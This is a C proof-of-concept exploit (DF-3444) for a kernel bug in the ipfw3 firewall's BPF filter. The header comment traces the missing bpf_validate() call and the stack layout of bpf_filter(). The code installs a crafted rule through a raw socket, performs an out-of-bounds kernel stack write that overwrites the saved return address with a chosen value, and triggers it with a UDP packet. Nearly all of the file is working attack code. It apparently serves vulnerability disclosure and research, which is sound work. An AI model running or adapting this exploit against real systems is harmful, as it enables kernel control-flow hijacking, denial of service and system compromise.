/*
 * DF-3444 PoC — bpf_filter() executes unvalidated BPF programs installed in
 * ipfw3 rules via the ipfw3_layer4 "bpf" filter (O_LAYER4_BPF).
 *
 * Bug chain:
 *   sys/net/bpf_filter.c:365-379 — BPF_LD|BPF_MEM / BPF_LDX|BPF_MEM /
 *   BPF_ST / BPF_STX index mem[pc->k] with NO runtime bound check on pc->k.
 *   The code relies entirely on the caller having run bpf_validate()
 *   (bpf_filter.c:507-509 says exactly this).  bpf.c and ng_bpf.c comply;
 *   sys/net/ipfw3_layer4/ip_fw3_layer4.c:201 (check_bpf) does NOT:
 *
 *     slen = bpf_filter(bpf->bf_insn, (u_char *)m, m_lengthm(m, NULL), 0);
 *
 *   ...and the rule's instruction stream is copied into the kernel verbatim
 *   with no validation at all (ip_fw3.c:655 bcopy of ioc_rule->cmd).  A root
 *   user can therefore install an arbitrary BPF program that runs on every
 *   packet crossing the firewall.
 *
 * Primitive (amd64, this kernel): bpf_filter's frame has
 *   mem[] at rbp-0x60 (64 bytes, BPF_MEMWORDS=16), saved RIP at rbp+8,
 *   and the store compiles to  mov %eax,-0x60(%rbp,%rdx,4)  with rdx = pc->k
 *   (bpf_filter+0x4d3).  BPF_ST with k=26/27 overwrites bpf_filter's own
 *   return address; value fully controlled via BPF_LD|BPF_IMM.
 *
 * NOTE on privilege: installing an ipfw3 rule requires a raw IP socket
 * (rip_attach -> caps_priv_check(SYSCAP_NONET_RAW) = root), same entry
 * gating as DF-0668/DF-2580.  Run this PoC as root.
 *
 * Build:  cc -O -o poc poc.c
 * Run:    ./poc store  <k> <value32>    # arbitrary-offset u32 write at mem+4k
 *         ./poc riptake <low32> <high32># overwrite saved RIP (k=26/27)
 *         ./poc safe                   # in-bounds ST (sanity, no crash)
 * Defaults: riptake 0x42424343 0x00004141 -> RIP = 0x0000414142424343
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdint.h>

#define IP_FW_X        49   /* ipfw3 setsockopt selector */
#define OP_ADD_RULE    50   /* IP_FW_ADD */

/* O_LAYER4_BPF = 4 (enum ipfw3_layer4_opcodes), MODULE_LAYER4_ID = 3 */
#define MOD_LAYER4     3
#define O_L4_BPF       4

/* mirror of struct bpf_insn (net/bpf.h) */
struct bi {
	uint16_t code;
	uint8_t  jt, jf;
	uint32_t k;
};
#define BPF_LD	0x00
#define BPF_ST	0x02
#define BPF_W	0x00
#define BPF_IMM	0x00
#define BPF_RET	0x06
#define BPF_K	0x00

/* mirror of struct ipfw_ioc_rule (net/ipfw3/ip_fw3.h), natural alignment */
struct ioc_rule {
	uint16_t act_ofs;
	uint16_t cmd_len;
	uint16_t rulenum;
	uint8_t  set;
	uint8_t  insert;
	uint32_t sets;
	uint64_t pcnt;
	uint64_t bcnt;
	uint32_t timestamp;
	/* cmd[] begins here at offset 36 */
	unsigned char cmd[140 + 8 * 8];   /* ipfw_insn_bpf: hdr(8)+str(128)+len(4)+insns */
};

struct x_hdr {
	uint16_t opcode;
	uint16_t pad;
};

static void
emit(struct bi *ins, int *n, uint16_t code, uint32_t k)
{
	ins[*n].code = code;
	ins[*n].jt = 0;
	ins[*n].jf = 0;
	ins[*n].k = k;
	(*n)++;
}

int main(int argc, char **argv)
{
	const char *mode = (argc > 1) ? argv[1] : "riptake";
	uint32_t v1 = (argc > 2) ? strtoul(argv[2], NULL, 0) : 0x42424343;
	uint32_t v2 = (argc > 3) ? strtoul(argv[3], NULL, 0) : 0x00004141;
	int s, rc, i;
	unsigned char buf[sizeof(struct x_hdr) + sizeof(struct ioc_rule)];
	struct x_hdr *xh = (struct x_hdr *)buf;
	struct ioc_rule *r = (struct ioc_rule *)(buf + sizeof(*xh));
	struct bi *ins = (struct bi *)(r->cmd + 140); /* bf_insn offset */
	int n = 0;
	struct sockaddr_in dst;

	printf("[*] DF-3444: unvalidated BPF program execution via ipfw3 rule\n");
	printf("[*] mode=%s v1=0x%08x v2=0x%08x\n", mode, v1, v2);

	memset(buf, 0, sizeof(buf));

	if (strcmp(mode, "safe") == 0) {
		/* in-bounds store: harmless sanity that the program runs */
		emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v1);
		emit(ins, &n, BPF_ST, 3);	/* mem[3] = v1, in bounds */
	} else if (strcmp(mode, "empty") == 0) {
		/* no instructions at all: interpreter starts on zeroed
		 * kernel heap and walks LD|IMM (code 0) until unmapped */
	} else if (strcmp(mode, "store") == 0) {
		emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v1);
		emit(ins, &n, BPF_ST, v2);	/* mem[v2] = v1 : OOB write */
	} else {	/* riptake */
		emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v1);
		emit(ins, &n, BPF_ST, 26);	/* low dword of saved RIP */
		emit(ins, &n, BPF_LD | BPF_W | BPF_IMM, v2);
		emit(ins, &n, BPF_ST, 27);	/* high dword of saved RIP */
	}
	if (strcmp(mode, "empty") != 0)
		emit(ins, &n, BPF_RET | BPF_K, 0);

	xh->opcode = OP_ADD_RULE;
	xh->pad = 0;
	r->act_ofs = 0;
	r->cmd_len = (140 + n * 8) / 4;	/* 32-bit words, <= 63 */
	r->rulenum = 100;
	r->set = 0;
	r->insert = 0;
	r->sets = 0;
	/* cmd[0] = ipfw_insn header: {u8 opcode; u8 len; u16 arg1; u8 module;...} */
	r->cmd[0] = O_L4_BPF;
	r->cmd[1] = (uint8_t)r->cmd_len;
	/* arg1 (cmd[2..3]) = 0 */
	r->cmd[4] = MOD_LAYER4;
	/* bf_str[128] zero; bf_len at cmd offset 136: */
	{
		uint32_t bl = (uint32_t)n;
		memcpy(r->cmd + 136, &bl, 4);
	}

	printf("[*] bpf program: %d insns, cmd_len=%u words\n", n, r->cmd_len);

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) {
		perror("[-] socket(SOCK_RAW)");
		printf("[-] raw socket requires root (SYSCAP_NONET_RAW)\n");
		return 2;
	}

	rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, sizeof(buf));
	if (rc < 0) {
		printf("[-] setsockopt(IP_FW_ADD) failed: %s\n", strerror(errno));
		close(s);
		return 3;
	}
	printf("[+] rule with O_LAYER4_BPF program installed (NO validation)\n");
	close(s);

	/* Trigger: any packet crossing ipfw3 on output runs check_bpf. */
	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("[-] udp socket");
		return 4;
	}
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(9);	/* discard */
	dst.sin_addr.s_addr = htonl(0x08080808); /* 8.8.8.8 via vtnet0 */
	printf("[*] triggering: UDP to 8.8.8.8 (ip_output -> pfil -> check_bpf)\n");
	fflush(stdout);
	rc = sendto(s, "A", 1, 0, (struct sockaddr *)&dst, sizeof(dst));
	printf("[*] sendto rc=%d errno=%d\n", rc, errno);
	fflush(stdout);

	sleep(2);
	printf("[!] still alive: BPF_ST did not fire (rule not reached?)\n");
	return 5;
}
